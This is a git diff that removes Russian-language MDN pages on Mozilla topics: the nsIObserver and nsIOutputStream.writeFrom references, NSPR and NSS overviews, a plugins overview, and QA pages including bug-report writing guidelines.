xpcom/ds/nsIObserver.idlСо скриптами
- - -Please add a summary to this article. - - -
-  -Последнее изменение в Gecko 0.9.6
-

-

Код интерфейса

-
[scriptable, uuid(DB242E01-E4D9-11d2-9DDE-000064657374)]
-interface nsIObserver : nsISupports
-{
-    void observe( in nsISupports aSubject,
-                  in string      aTopic,
-                  in wstring     aData );
-};
-
-

Методы

-

observe

-
void observe( in nsISupports aSubject,
-              in string      aTopic,
-              in wstring     aData );
-
-

Метод observe вызывается тогда, когда приходит сообщение на ту тему, для прослушивания которой объект был зарегистрирован.

-

Обычно, в aSubject содержится объект, в результате изменения или другого действия над которым было создано полученное сообщение. Параметр aTopic определяет тип действия или изменения. А необязательный параметр aData и другие данные дополняют информацию о совершенном действии или изменении.

-

Конкретные значения, а так же смысл переданных параметров бывают разными, в зависимости от того где был зарегистрирован приемник и какая тема прослушивается.

-

Конкретный пример использования интерфейса nsIObserver может быть настроен на получение множества типов сообщений, и может вести себя по-разному в зависимости от переданных параметров. Чаще всего, основной параметр для выбора дальнейших действий — это aTopic, и в коде надо учитывать, что метод может быть вызван с неизвестным на момент написания значением параметра aTopic.

-

Так как система, обслуживающая прием сообщений, может вызывать конкретный приемник в разных контекстах, настоятельно рекомендуется не добавлять и не удалять приеники непосредственно в момент вызова метода observe.

-

Связанные интерфейсы

-

nsIObserverService

-

Пример кода

-

Следующий пример демонстрирует применение интерфейса nsIObserver, который позволяет зарегистрировать объект в системе пользовательских настроек для получения сообщений об изменении каких-либо значений (полный код примера и дополнительную информацию о системе настроек см. на странице Использование настроек из MozillaZine).

-
var prefObserver = {
-  // nsIObserver
-  observe: function (aSubject, aTopic, aData) {
-    if (aTopic == "nsPref:changed") { // observe preference changes
-      // aData contains the name of the changed preference
-      dump(aData+" changed!");
-    }
-  },
-
-  QueryInterface: function(aIID) {
-    if(!aIID.equals(CI.nsISupports) && !aIID.equals(CI.nsIObserver))
-      throw CR.NS_ERROR_NO_INTERFACE;
-    return this;
-  }
-};
-
-

См. также

- -

diff --git a/files/ru/nsioutputstream/index.html b/files/ru/nsioutputstream/index.html deleted file mode 100644 index 7a37b3158e..0000000000 --- a/files/ru/nsioutputstream/index.html +++ /dev/null @@ -1,6 +0,0 @@ ---- -title: nsIOutputStream -slug: nsIOutputStream -translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsIOutputStream ---- -

This page was auto-generated because a user created a sub-page to this page.

diff --git a/files/ru/nsioutputstream/writefrom/index.html b/files/ru/nsioutputstream/writefrom/index.html deleted file mode 100644 index 5c8ec79f8f..0000000000 --- a/files/ru/nsioutputstream/writefrom/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: writeFrom -slug: nsIOutputStream/writeFrom -tags: - - Справочник_XPCOM_API -translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsIOutputStream/writeFrom ---- -

« Справочник XPCOM API

-

Summary

-

Этот метод копирует данные из nsIInputStream в nsIOutputStream.

-
 unsigned long writeFrom(
-   in nsIInputStream aSource,
-   in unsigned long aCount
- );
-
-

Параметры

-
-
- aSource
-
- [in] An nsIInputStream containing the data to be written.
-
- aCount
-
- [in] The maximum number of bytes to write to the stream.
-
-

Возвращаемые значения

-

Этот метод возвращает количество байт, записанных в поток.

-

Exceptions Thrown

-
-
- NS_BASE_STREAM_WOULD_BLOCK
-
- Indicates that writing to the output stream would block the calling thread for an indeterminate amount of time. This exception may only be thrown if isNonBlocking returns true.
-
- NS_ERROR_NOT_IMPLEMENTED
-
- Indicates that the stream does not implement this method. Typically, output streams that do not have an internal buffer will not implement this method since such an implementation would require an intermediate buffer unless aSource supported nsIInputStream::readSegments, but that is not guaranteed.
-
-

Remarks

-

A nsIOutputStream is not required to implement this method. In some contexts, writeFrom may be guaranteed to be implemented, but in general it is not. This method serves as an optimization.

-

См. также

- -

diff --git a/files/ru/nspr/index.html b/files/ru/nspr/index.html deleted file mode 100644 index 19c418617a..0000000000 --- a/files/ru/nspr/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: NSPR -slug: NSPR -tags: - - NSPR -translation_of: Mozilla/Projects/NSPR ---- -

Netscape Portable Runtime (NSPR) — платформо-нейтральный API для функций системного уровня и libc-подобных. API используется в клиентах Mozilla, многих серверных приложениях Red Hat и Sun, а также другом ПО.

- -

Getting NSPR

- -

NSPR is available in various source and binary packages, depending on your platform:

- - - - - - - - - - -
-

Документация

- -
-
About NSPR
-
This topic describes, in general terms, the goals of NSPR and a bit about how it does it.
-
NSPR API Reference
-
The reference describes each API public macro, structure and function in the NSPR API.
-
NSPR build instructions
-
How to checkout and build from source.
-
NSPR release process
-
How to prepare an NSPR release.
-
Legacy NSPR Content
-
Older NSPR content is available in SVN for browsing and/or migration to this site
-
- -

View All...

-
-

Сообщество

- -
    -
  • View Mozilla forums...
  • -
- -

{{DiscussionList("dev-tech-nspr", "mozilla.dev.tech.nspr")}}

- - - - -
diff --git a/files/ru/nss/index.html b/files/ru/nss/index.html deleted file mode 100644 index daf6d6c569..0000000000 --- a/files/ru/nss/index.html +++ /dev/null @@ -1,180 +0,0 @@ ---- -title: Network Security Services -slug: NSS -translation_of: Mozilla/Projects/NSS ---- -

Network Security Services (NSS) это набор библиотек, разработанных для поддержки кросс-платформенной разработки защищенных клиентских и серверных приложений. Приложения построенные с использование NSS могут использовать SSL v2 и v3, TLS, PKCS #5, PKCS #7, PKCS #11, PKCS #12, S/MIME, сертификаты X.509 v3 и другие стандарты обеспечения безопасности.

-

Подробные сведения о поддерживаеых стандартах смотри в статье Обзор. Часто задавые вопросы можно найти в  FAQ.

-

NSS доступна по лицензии Mozilla Public License. За информацей о получении релизов NSS в виде tar-файлов, обратитесь к статье Download PKI Source.

-

Если вы программист и хотите внести свой вклад в NSS, Вам стоит прочитать highlevel overview of internal details of NSS и getting started with NSS.

- - - - - - - -
-

Документация

-

Общая информация

-
-
- Обзор NSS
-
- Provides a brief summary of NSS and its capabilities.
-
- Часто задаваемые вопросы о NSS
-
- Answers basic questions about NSS.
-
- Введение в криптографию на основе публичных ключей
-
- Explains the basic concepts of public-key cryptography that underlie NSS.
-
- Введение в SSL
-
- Introduces the SSL protocol, including information about cryptographic ciphers supported by SSL and the steps involved in the SSL handshake.
-
-

С чего начать

-
-
- NSS Releases
-
- This page contains information about the current and past releases of NSS.
-
- Получение исходного код и сборка
-
- Instructions on how to build NSS on the different supported platforms.
-
- Get Mozilla Source Code Using Mercurial
-
- Information about with working with Mercurial.
-
- Get Mozilla Source Code Using CVS (deprecated)
-
- Old deprecated CVS documentation.
-
-

NSS APIs

-
-
- Introduction to Network Security Services
-
- Provides an overview of the NSS libraries and what you need to know to use them.
-
- NSS Public Functions
-
- Summarizes the APIs exported by the NSS shared libraries.
-
- NSS Reference
-
- API used to invoke SSL operations.
-
- NSS API Guidelines
-
- Explains how the libraries and code are organized, and guidelines for developing code (naming conventions, error handling, thread safety, etc.)
-
- NSS Technical Notes
-
- Links to NSS technical notes, which provide latest information about new NSS features and supplementary documentation for advanced topics in programming with NSS.
-
-

Инструментарий, тестирование и другие технические детали

-
-
- Build Instructions for NSS
-
- Describe how to check out and build NSS releases.
-
- NSS Tools
-
- Tools for developing, debugging, and managing applications that use NSS.
-
- Sample Code
-
- Demonstrates how NSS can be used for cryptographic operations, certificate handling, SSL, etc.
-
- NSS 3.2 Test Suite
-
- Archived version. Describes how to run the standard NSS tests.
-
- NSS Performance Reports
-
- Archived version. Links to performance reports for NSS 3.2 and later releases.
-
- Encryption Technologies Available in NSS 3.11
-
- Archived version. Lists the cryptographic algorithms used by NSS 3.11.
-
- NSS 3.1 Loadable Root Certificates
-
- Archived version. Describes the scheme for loading root CA certificates.
-
- cert7.db
-
- Archived version. General format of the cert7.db database.
-
-

PKCS #11 information

- -
-
-

Корневые сертификаты поставляемые с NSS

- -
-
-

NSS основана Netscape Portable Runtime (NSPR)

-
-
- Netscape Portable Runtime
-
- NSPR project page.
-
- NSPR Reference
-
- NSPR API documentation.
-
-

Дополнительные сведения

- -

Тестирование

- -

Планирование

-

Information on NSS planning can be found at wiki.mozilla.org, including:

- -
-

Сообщество

-
    -
  • View Mozilla Security forums...
  • -
-

{{ DiscussionList("dev-security", "mozilla.dev.security") }}

-
    -
  • View Mozilla Cryptography forums...
  • -
-

{{ DiscussionList("dev-tech-crypto", "mozilla.dev.tech.crypto") }}

- - -
-

 

diff --git a/files/ru/nss/overview/index.html b/files/ru/nss/overview/index.html deleted file mode 100644 index d75343c327..0000000000 --- a/files/ru/nss/overview/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: Overview of NSS -slug: NSS/Overview -translation_of: Mozilla/Projects/NSS/Overview ---- -

Open Source Crypto Libraries

- -

Proven Application Security Architecture

- -

If you want add support for SSL, S/MIME, or other Internet security standards to your application, you can use Network Security Services (NSS) to implement all your security features. NSS provides a complete open-source implementation of the crypto libraries used by AOL, Red Hat, Google, and other companies in a variety of products, including the following:

- - - -

NSS includes a framework to which developers and OEMs can contribute patches, such as assembler code, to optimize performance on their platforms. NSS 3.x has been certified on 18 platforms.

- -

For more detailed information about NSS, see the NSS Project Page and NSS FAQ.

- -

Source code for a Java interface to NSS is available in the Mozilla CVS tree. For details, see Network Security Services for Java.

- -

NSS makes use of Netscape Portable Runtime (NSPR), a platform-neutral open-source API for system functions designed to facilitate cross-platform development. Like NSS, NSPR has been battle-tested in multiple products. For more information, see NSPR Project Page.

- -

Interoperability and Open Standards

- -

You can use NSS to support a range of security standards in your application, including the following:

- - - -

For complete details, see Encryption Technologies.

- -

FIPS 140 Validation and NISCC Testing

- -

The NSS software crypto module has been validated three times for conformance to FIPS 140 at Security Levels 1 and 2. For more information, see the NSS FIPS page (Or this one).

- -

The NSS libraries passed the NISCC TLS/SSL and S/MIME test suites (1.6 million test cases of invalid input data).

- -

Complete Software Development Kit

- -

In addition to libraries and APIs, NSS provides security tools required for debugging, diagnostics, certificate and key management, cryptography module management, and other development tasks.

- -

NSS comes with an extensive and growing set of documentation, including introductory material, API references, man pages for command-line tools, and sample code.

- -

NSS is available as source and shared (dynamic) libraries. Every NSS release is backward compatible with previous releases, allowing NSS users to upgrade to the new NSS shared libraries without recompiling or relinking their applications.

- -

Open-Source Licensing and Distribution

- -

NSS is available under the Mozilla Public License, version 2. The latest source code is available for free worldwide from http://www.mozilla.org and its mirror sites.

diff --git a/files/ru/plugins/index.html b/files/ru/plugins/index.html deleted file mode 100644 index d27e7b06cd..0000000000 --- a/files/ru/plugins/index.html +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: Плагины -slug: Plugins -translation_of: Archive/Plugins ---- -
-

Плагин - это разделяемая библиотека, которую пользователи могут установить для показа содержимого, которое приложение само по себе отображать не может. Например, плагин Adobe Reader позволяет пользователю просматривать файлы PDF прямо внутри браузера, а плагины QuickTime и RealPlayer используются для проигрывания специальных видеоформатов на веб-странице.

- -

Плагины могут быть полезны при создании приложений с использованием фреймворка Mozilla. Например, ActiveState Komodo использует плагины для внедрения редактора Scintilla в пользовательский интерфейс, основанный на XUL.

- -

Плагины пишут при помощи NPAPI, кроссбраузерного API для плагинов. Основной источник документации по NPAPI - Gecko Plugin API Reference. Чтобы получить доступ к функциям плагина из веб-страницы, используйте npruntime. Старые, основанные на XPCOM и LiveConnect API для плагинов использовать не стоит. Эти технологии сами по себе по-прежнему используются, только не для плагинов.

- -

Плагины можно написать полностью с нуля, используя C API (обычно на C или C++), или они могут быть посторены на фреймворке, таком как Firebreath, JUCE, или QtBrowserPlugin. Также есть средства кодогенерации, которые могут быть полезны. Больше информации о них можно найти на странице External Resources.

- -

Вы можете использовать SVG или Canvas для более простых задач управления графикой и анимацией из скрипта.

- -

Плагины отличаются от расширений, которые изменяют или улучшают функциональность браузера. Плагины также отличны от поисковых расширений, которые добавляют поисковые движки в строку поиска.

-
- - - - - - - - -
-

Документация

- -
-
Gecko Plugin API Reference (NPAPI)
-
Эта ссылка описывает интерфейсы прикладного программирования для плагинов NPAPI и предоставляет информацию о том, как использовать эти интерфейсы.
-
- -
-
Scripting plugins (npruntime)
-
В этой ссылке описываются новые межплатформенные расширения NPAPI, которые позволяют плагинам быть доступными для сценариев, а также позволяют им обращаться к объектам сценария в браузере.
-
- -
-
Gecko SDK
-
Gecko SDK содержит все инструменты и заголовки, необходимые для создания плагинов для скриптов для Gecko, включая последние npapi.h и связанные с ними заголовки и инструменты.
-
- -
-
Out of process plugins
-
Firefox 3.6.4 представил плагины вне процесса, которые выполняются в отдельном процессе, так что сбойный модуль не приводит к сбою в работе браузера.
-
- -
-
Shipping a plugin as a Toolkit bundle
-
Плагины могут поставляться в комплекте Toolkit, что позволяет пользователю легко устанавливать, удалять и управлять своими личными плагинами.
-
- -
-
Detecting Plugins
-
Как использовать JavaScript для определения, установлен ли плагин, и предложения о том, что делать, если это не так.
-
Supporting private browsing in plugins
-
В Firefox 3.5 появилась поддержка частного просмотра; Узнайте, как сделать так, чтобы ваш плагин уважал пожелания пользователя о конфиденциальности.
-
Multi-Process Plugin Architecture
-
Как Firefox загружает плагины в отдельный процесс
-
Logging and Debugging for Multi-Process Plugins
-
Как создать журнал подключаемых модулей, чтобы помочь в отладке проблем с многопроцессорными плагинами.
-
Writing a plugin for Mac OS X
-
Узнайте, как написать плагин для Mac OS X; Предоставляется проект шаблона Xcode.
-
- -
-
Monitoring Plugins
-
Используйте уведомление службы наблюдателя, чтобы контролировать количество времени, затрачиваемое на выполнение вызовов в плагинах. Это может быть полезно при попытке определить, потребляет ли подключаемый модуль слишком много ресурсов.
-
- -
-
Scripting Plugins: Macromedia Flash
-
В этой статье объясняется, как JavaScript может использоваться для доступа к методам из Flash-плагина, а также как функция FSCommands может использоваться для доступа к функциям JavaScript из Flash-анимации.
-
- -
-
Plugins: The First Install Problem
-
В этой статье объясняется, как JavaScript может использоваться для доступа к методам из Flash-плагина, а также как функция FSCommands может использоваться для доступа к функциям JavaScript из Flash-анимации.
-
- -
-
ActiveX Control for Hosting Netscape Plug-ins in IE
-
Microsoft удалила поддержку подключаемых модулей Netscape с IE 5.5 SP2 и последующих версий. Если вы автор плагина, вы можете найти этот проект, который поможет вам сэкономить много работы!
-
Plugins: Samples and Test Cases
-
Образцы плагинов NPAPI и тестовые примеры.
-
External Resources for Plugin Creation
-
Внешние проекты, фреймворки и сообщения в блогах, которые могут быть полезны.
-
- -
-
XEmbed Extension for Mozilla Plugins
-
Недавние версии Mozilla для систем на базе * nix включают расширение для написания плагинов, которые используют XEmbed, вместо использования старого основного цикла, основанного на Xt, который большинство плагинов используют с Netscape 3.x дней.
-
- -

View All...

-
-

Сообщество

- -
    -
  • View Mozilla forums...
  • -
- -

{{ DiscussionList("dev-tech-plugins", "mozilla.dev.tech.plugins") }}

- - - -
-
Extensions, SVG, Canvas
-
-
- -

Categories

- -

Interwiki Language Links

- -

 

- -

{{ languages( { "de": "de/Plugins", "es": "es/Plugins", "fr": "fr/Plugins", "ja": "ja/Plugins", "pl": "pl/Wtyczki", "pt": "pt/Plugins", "ko": "ko/Plugins" } ) }}

diff --git a/files/ru/qa/index.html b/files/ru/qa/index.html deleted file mode 100644 index e85019f726..0000000000 --- a/files/ru/qa/index.html +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: Контроль качества -slug: QA -tags: - - QA -translation_of: Mozilla/QA ---- -

С чего начать

- - - -

Баги

- -
-
-

Как сообщать об ошибках

- -
-
Bugzilla
-
Все проекты Mozilla используют для отслеживания багов (сообщений об ошибках и пожеланиях) Bugzilla. Чтобы создавать и триажить баги, Вам нужно будет создать учётную запись в Bugzilla.
-
Руководство по описанию ошибок
-
Чем качественнее сообщено об ошибке, тем более вероятно, что инженер её исправит. Следуя этим рекомендациям, Вы повысите вероятность того, что инженеры Mozilla начнут с Ваших багов и исправят именно их, а не отложат и забудут.
-
Жизнь бага
-
This tutorial will give an overview of what happens in the states that a bug will go through as well as how it will go from one to the next within its total life. It also explains the meaning of flags/keywords used in QA.
-
Filing Crash Bugs
-
This document lists guidelines and tips on how to file bug reports for crashes in a way that helps in debugging and fixing the reported issue.
-
-
- -
-

Как триажить баги

- -
-
Подтверждаем неподтверждённые багрепорты
-
Как опознавать полезные багрепорты и закрывать остальные.
-
Триажим баги для Firefox
-
Обо всём процессе триажа багов — от просеивания входящих багов до нахождения простых шагов для воспроизведения проблемы.
-
Отсеиваем дубликаты
-
Помогите ускорить исправление багов, помечая во входящих сообщения об одном и том же.
-
Общие рекомендации
-
Что желательно и что нежелательно делать в Bugzilla.
-
-
-
diff --git "a/files/ru/qa/\320\272\320\260\320\272_\320\277\320\276\320\274\320\276\321\207\321\214_\321\202\320\265\321\201\321\202\320\270\321\200\320\276\320\262\320\260\321\202\321\214/index.html" "b/files/ru/qa/\320\272\320\260\320\272_\320\277\320\276\320\274\320\276\321\207\321\214_\321\202\320\265\321\201\321\202\320\270\321\200\320\276\320\262\320\260\321\202\321\214/index.html" deleted file mode 100644 index cffd7f8290..0000000000 --- "a/files/ru/qa/\320\272\320\260\320\272_\320\277\320\276\320\274\320\276\321\207\321\214_\321\202\320\265\321\201\321\202\320\270\321\200\320\276\320\262\320\260\321\202\321\214/index.html" +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Как помочь тестировать? -slug: QA/Как_помочь_тестировать -tags: - - Beginner - - QA -translation_of: Mozilla/QA/How_can_I_help_test_ ---- -
-

Martijn Wargers (:mwargers) (Mozilla QA Team) проделал техническую рецензию этой страницы 2014-10-23.  Оригинал этой статьи был создан из страницы на QMO: How can I help test?

-
- -

Спасибо, что спросили!  Для Вас есть множество способов стать частью команды контроля качества Mozilla, даже если Вы не технарь.

- -

Выберите задачу на One and Done

- -

Попробуйте новую систему Mozilla для поиска задач! One and Done («Взял и сделал», «Выбрал и сделал») — инструмент, помогающий найти задачу по Вашим интересам, умениям и доступному времени.  Возможности фильтрации позволяют выбирать задачи по командам, которые ими занимаются, и по различным свойствам.  Вы можете как работать над задачами, подходящими Вам по опыту, так и попробовать что-то новое!   Для каждой задачи указаны шаги, которые надо выполнить, и контактные данные, чтобы Вы могли задавать вопросы.

- -

Попользуйтесь ночной сборкой

- -

Используя одну из наших еженочно собираемых тестовых сборок, Вы увидите раньше большинства наших пользователей новые функции, а значит, сможете найти раньше всех и появившиеся баги.  Ночные сборки не для всех: они регулярно изменяются, и новые функции появляются в них ещё недоделанными, но отзывы от пользователей ночных сборок помогают shape the products we build very directly. If that sounds a little too scary for you, using a a build from any of our other channels gives us the same type of feedback, but keeps you only on things that we consider polished enough to be almost final.

- -

Помогайте одной из наших команд по контролю качества

- -

If you have some technical expertise and want to help build and maintain the tools we use to measure and improve quality, we can always use a hand.

- -

Если вы владеете техническими навыками и хотите помочь в создании и сопровождении средств, которые мы используем для оценки и улучшения качества, то мы всегда примем руку помощи.

- -

Примите участие в ближайшем мероприятии

- -

Mozilla test days are one of the most powerful tools we have for uncovering new bugs and exploring new features. Вас научат скачивать тестовые сборки, сообщать об ошибках, и сотрудничать с разработчиками с целью их исправления.  Какой бы способ участия Вы ни выбрали, спасибо!  Программы Mozilla создаются сообществом таких как Вы, кто принял участие потому, что был заинтересован в качестве того, что мы создаём, и решил помочь.

diff --git "a/files/ru/qa/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\217\321\211\320\270\320\265_\320\277\321\200\320\270\320\275\321\206\320\270\320\277\321\213_\320\275\320\260\320\277\320\270\321\201\320\260\320\275\320\270\321\217_\320\276\321\210\320\270\320\261\320\272\320\260/index.html" "b/files/ru/qa/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\217\321\211\320\270\320\265_\320\277\321\200\320\270\320\275\321\206\320\270\320\277\321\213_\320\275\320\260\320\277\320\270\321\201\320\260\320\275\320\270\321\217_\320\276\321\210\320\270\320\261\320\272\320\260/index.html" deleted file mode 100644 index 9f5d04bc1d..0000000000 --- "a/files/ru/qa/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\217\321\211\320\270\320\265_\320\277\321\200\320\270\320\275\321\206\320\270\320\277\321\213_\320\275\320\260\320\277\320\270\321\201\320\260\320\275\320\270\321\217_\320\276\321\210\320\270\320\261\320\272\320\260/index.html" +++ /dev/null @@ -1,230 +0,0 @@ ---- -title: Руководство по описанию ошибок -slug: QA/Руководящие_принципы_написания_ошибка -tags: - - Инструкция - - баг - - багрепорт - - отчет об ошибках - - тестирование -translation_of: Mozilla/QA/Bug_writing_guidelines ---- -
-

Если вам нужна помощь с программой от Mozilla (наример, Firefox, Seamonkey или Thunderbird), используйте сайты поддержки.  Не редактируйте эту страницу!

-
- -

В этом разделе предполагается, что вы хотите внести свой вклад в проект Mozilla путем сбора достаточного количества информации для написания полезных отчетов об ошибках в Bugzilla, системе отслеживания ошибок  от Mozilla. Спасибо!

- -

Если вы новичок в написании багов, вы можете попытаться получить помощь от более опытных участников. С мотрите раздел Сообщества на странице QA для ccылок. Если вы собираетесь создать багрепорт для Firefox, вы можете получить помощь на сайте irc.mozilla.org в канале #firefox . Для других приложений вроде Thunderbird, Seamonkey, … вы можете попытаться найти подходящий канал в IRC.

- -

Как сообщить об ошибке

- -

Открывайте новый баг для каждой проблемы!

- -

Только так будет возможен эффективный процесс исправления ошибок.

- -

Другие детали, которые следует учитывать

- -
    -
  1. Выясните шаги воспроизведения бага: -
      -
    • Если у вас есть точные шаги воспроизведения - отлично! - вы на пути к созданию полезного сообщения об ошибке;
    • -
    • Если вы можете воспроизвести баг время от времени, но не после следования конкретным шагам, вы должны предоставить дополнительную информацию о баге, чтобы он был полезен;
    • -
    • Если вы не можете воспроизвести проблему, вероятно нет смысла сообщать о ней, пока вы не предоставите уникальную информацию об ее возникновении;
    • -
    -
  2. -
  3. Убедитесь, что программное обеспечение в актуальном состоянии. В идеале, тестируйте версию в процессе разработки, чтобы видеть был ли ваш баг уже исправлен (например Firefox Beta, Aurora, или передовой Nightly).
  4. -
  5. Если вы создаете багрепорт для Firefox, убедитесь сначала что вы можете воспроизвести баг в новом профиле Firefox. Если баг воспроизводится только в вашем профиле, попытайтесь вычислить какие именно настройки, расширения, or файлы в вашем профиле необходимы для воспроизведения бага. -
      -
    • Если баг выглядит серьезно (т.е. очевидно что он затронет значительнцю часть пользователей), имеется нечто действительно необычное относительно конфигурации вашего приложения и это нечто является важным шагом к воспроизведению проблемы. Вы имеете намного больше шансов выяснить что именно вызывает проблему, чем разработчик который не имеет доступа к вашей системе.
    • -
    • Если баг попадает в одну из специальных категорий багов перечисленных в секции ниже, его регистрация все равно может быть полезной даже если вы не можете воспроизвести его в новом профиле Firefox.
    • -
    -
  6. -
  7. Откройте форму Регистрации нового бага, и следуйте дальнейшим подсказкам которые проведут вас через все шаги процесса регистрации бага: -
      -
    • Создайте аккаунт Bugzilla если у вас его еще нет, выберете продукт в котором была найдена ошибка;
    • -
    • Введите понятное и уникальное название как показано ниже; проверьте что до вас никто этот баг еще не регистрировал (если вы хотите проверить это тщательно, ознакомьтесь с инструкцией по Предотвращению дублирования багов.)
    • -
    • Опишите точные шаги по воспроизведению бага, ожидаемый  и фактический результаты как описано в следующей секции;
    • -
    • Опишите дополнительную информацию (как показано ниже), особенно если вы не можете воспроизвести баг в новом профиле и/или создаете отчет о аварийном завершении, использовании памяти, производительности, регрессе или если проблема проявляется только на определенном веб сайте.
    • -
    -
  8. -
  9. Если вы собираетесь зарегистрировать нескольк ошибок, пожалуйста зарегистрируйте каждую ошибку в виде отдельного бага.
  10. -
- -
-

Написание понятного названия

- -

Как бы вы описали баг используя для этого всего 10 слов? Какой бы способ вы ни выбрали, помните: название - это самая первая часть вашего багрепорта которую увидит разработчик.

- -

Хорошее название должно быстро и уникально идентифицировать багрепорт. Оно должно описывать проблему, а не предлагаемое решение.

- -
    -
  • Хорошо: "Отмена копирования файлов приводит File Manager к падению"
  • -
  • Плохо: "Приложение падает"
  • -
- -
    -
  • Хорошо: "Стрелка вниз в скроллинге не работает в <textarea> с overflow:hidden"
  • -
  • Плохо: "Браузер должен работать с моим сайтом"
  • -
- -

Написание точных шагов воспроизведения бага

- -

Как разработчик сможет воспроизвести баг на своем собственном компьютере?

- -

Шаги для воспроизведения проблемы являются самой главной частью вашего багрепорта. Если разработчик в состоянии воспроизвести баг, шанс что он будет исправлен наиболее высок. Если шаги недостаточно точны, то в самом деле: даже выяснить был ли баг на самом деле исправлен будет нельзя.

- - - - - - - - - - - - - - - - - - - - - - - - -
Что хороший багрепорт должен содержать?Хороший (понятный) примерПлохой (непонятный)
Содержит точное указание что вы можете воспроизвести этот баг всегда, иногда или не можете воспроизвести его вовсеЯ могу воспроизвести этот баг следуя этим шагам: 
-

Опишите свой метод взаимодействия с Firefox вместе с тем чего вы намеревались добиться совершая каждый шаг.

-
-

1. Запускаю Firefox кликая на значок рабочего стола
- 2. Нажимаю Cmd+N для того чтобы открыть новое окно браузера
- 3. Вставляю https://mail.google.com/ в строку адреса и нажимаю Enter

-
Открываю Gmail в другом окне
-

После выполнения ваших шагов, точно опишите наблюдаемый (фактический) результат и ожидаемый результат. Точно отделяйте факты (наблюдения) от умозаключений.

-
Ожидаемые результаты: Папка входящих писем показывается корректно.
- Фактический результат: В папке входящих писем отображается надпись  'Ваш браузер не поддерживает куки (ошибка -91)'.
-

"Не работает"

- -

"Страница отображается некорректно"

-
- -

Описание дополнительной информации

- -

Следующая информация запрашивается разработчиками практически для любого бага. Вы значительно сохраните время если сразу предоставите ее после описания ожидаемого результата. Если вы хотите прикрепить один или несколько файлов, вы можете сделать это сразу после создания багрепорта.

- -

Для специальных видов багов

- -

Если вы создаете багрепорт об аварийном завершении, пожалуйста приложите к багу Breakpad ID или стектрейс ошибки, а также укажите сигнатуру аварийного завершения (crash signature) в названии бага помимо указания сигнатуры аварийного завершения в поле Crash Signature.

- -

Если вы создаете багрепорт об использовании оперативной памяти или об утечке памяти, пожалуйста приложите текст страницы about:memory. Было бы замечательно, найдите шаги приводящие к увеличению памяти отображаемой в about:memory (наблюдаемое даже после нажатия кнопки "Минимизировать расход памяти" ("Minimize memory usage")). Если вы не можете вычисли шаги для воспроизведения, попробуйте изучить страницу поддержки Firefox, которая называется Высокий расход памяти. Если вы являетесь разработчиком C++, то вам доступны более точные инструменты.

- -

Если вы создаете багрепорт о  низкой производительности или высокой загрузке ЦПУ, пожалуйста предоставьте ссылку на профиль производительности.

- -

Если вы создаете багрепорт об ошибке связанной с конкретной веб страницей, пожалуйста попытайтесь создать небольшай тестовый пример и прикрепите его к багрепорту. Если у вас нет времени или достаточных знаний, пожалуйста сообщите об ошибке по адресу webcompat.com, где наши добровольцы помогут вам.

- -

Если вы создаете багрепорт об ошибке связанной с зависанием Flash, пожалуйста посетите https://wiki.mozilla.org/Flash/Hang_Debugging для того чтобы изучить как собрать полезную для разработчиков информацию.

- -

Если баг появился недавно, использование специального окна регресса может помочь определить причину ошибки.

- -

Что если мой баг выглядит "случайным" или "появляющимся время от времени"?

- -

Большинство ошибок Firefox

- -

Вы должны предоставлять нижеследующую информация для большинства багов Firefox.

- - - - - - - - - - - - - - - - - - - - -
Что следует включать в багрепорт?Пример
Сообщите можете ли вы воспроизвести проблему в новом профиле Firefox и любые изменения которые нужно сделать в профиле для того что проблема появилась.Проблема воспроизводится в новом профиле, но только если включена настройка Настройки -> Безопасность -> Сообщать сайтам что я не хочу чтобы меня отслеживали.
Если ошибку получается воспроизвести только в вашем существующем профиле попытайтесь определить настройки, расширения, или файлы в вашем профиле необходимые для воспроизведения бага. Если вы не можете этого сделать и хотите пропустить этот шаг, пожалуйста сохраните информацию со страницы about:support в файл и прикрепите к багрепорту.Баг не воспроизводится в новом профиле, информация с about:support для проблемного профиля прикреплена.
-

Сообщите если проблема воспроизводится в последней ночной сборке. Включите Идентификатор сборки (Build ID) со страницы about:support.

- -

Если возможно, протестируйте используя новый профиль Firefox. Если требуется протестировать ночную сборку с проблемным профилем, рекомендуется сначала сделать резервную копию профиля, так как ночная сборка может разрушить целостность данных профиля.

-
Проблема воспроизводится в последней ночной сборке (Build ID 20150331030204).
- -

 

- -
-

Информация об исходном документе:

- -
    -
  • Автор(ы): Jesse Ruderman, Gervase Markham
  • -
  • Другие контрибьюторы: Eli Goldberg, Claudius Gayle, Jan Leger, Felix Miata, Peter Mock, Chris Pratt, Chris Yeh, and others.
  • -
-
- -

 

- -
-

Продвинутые темы

- -

Поиск правильного продукта и компонента

- -

Для каждого бага вам нужно выбирать правильный "продукт" и "компонент" в этом продукте, для того чтобы ваш багрепорт получил разработчик которому он предназначен.

- -

Если вы используете Firefox, баг находится скорее всего в компонетах "Firefox", "Toolkit", или "Core".

- - - -

Если сомневаетесь, найдите похожие баги и посмотрите к каким они отнесены компонентам.

- -

Если ни один компонент не выглядит подходящим, взгляните на компонент "General" который есть у большинства продуктов.

- -

Общая структура багрепорта

- -
-

Эта статья была перенесена сюда из QMO: Как писать понятные багрепорты

-
- -
    -
  • Название: Как бы вы описали ошибку используя не более 60 символов? Название должно кратко и однозначно давать представление в чем проблема, а не описывать предложенное вами решение. Хорошо: "Отмена диалога копирования фалов приводит к падению файлового менеджера" Плохо: "Программа падает" Плохо: "Браузер должен работать с моим сайтом"
  • -
  • Компонент: В какой части приложения происходит ошибка? Это поле является обязательным для всех багрепортов. Кликните по слову "Component" чтобы увидеть описание каждого компонента. Если нет ничего подходящего, выбирайте компонент "General".
  • -
  • ОС: В какой операционной системе (ОС) вы обнаружили эту проблему? (т.е. Linux, Windows XP, Mac OS X.) Пример: "Если вы уверены что этот баг проявляется больше чем на одной ОС выбирайте All. Если вашей ОС нет в списке выбирайте Other".
  • -
  • Описание: Подробности проблемы включающие: -
      -
    • Обзор: это более подробно переформулированное название бага. Например: "Перетаскивание любой страницы приводит к падению сборок для Mac в функции NSGetFactory".
    • -
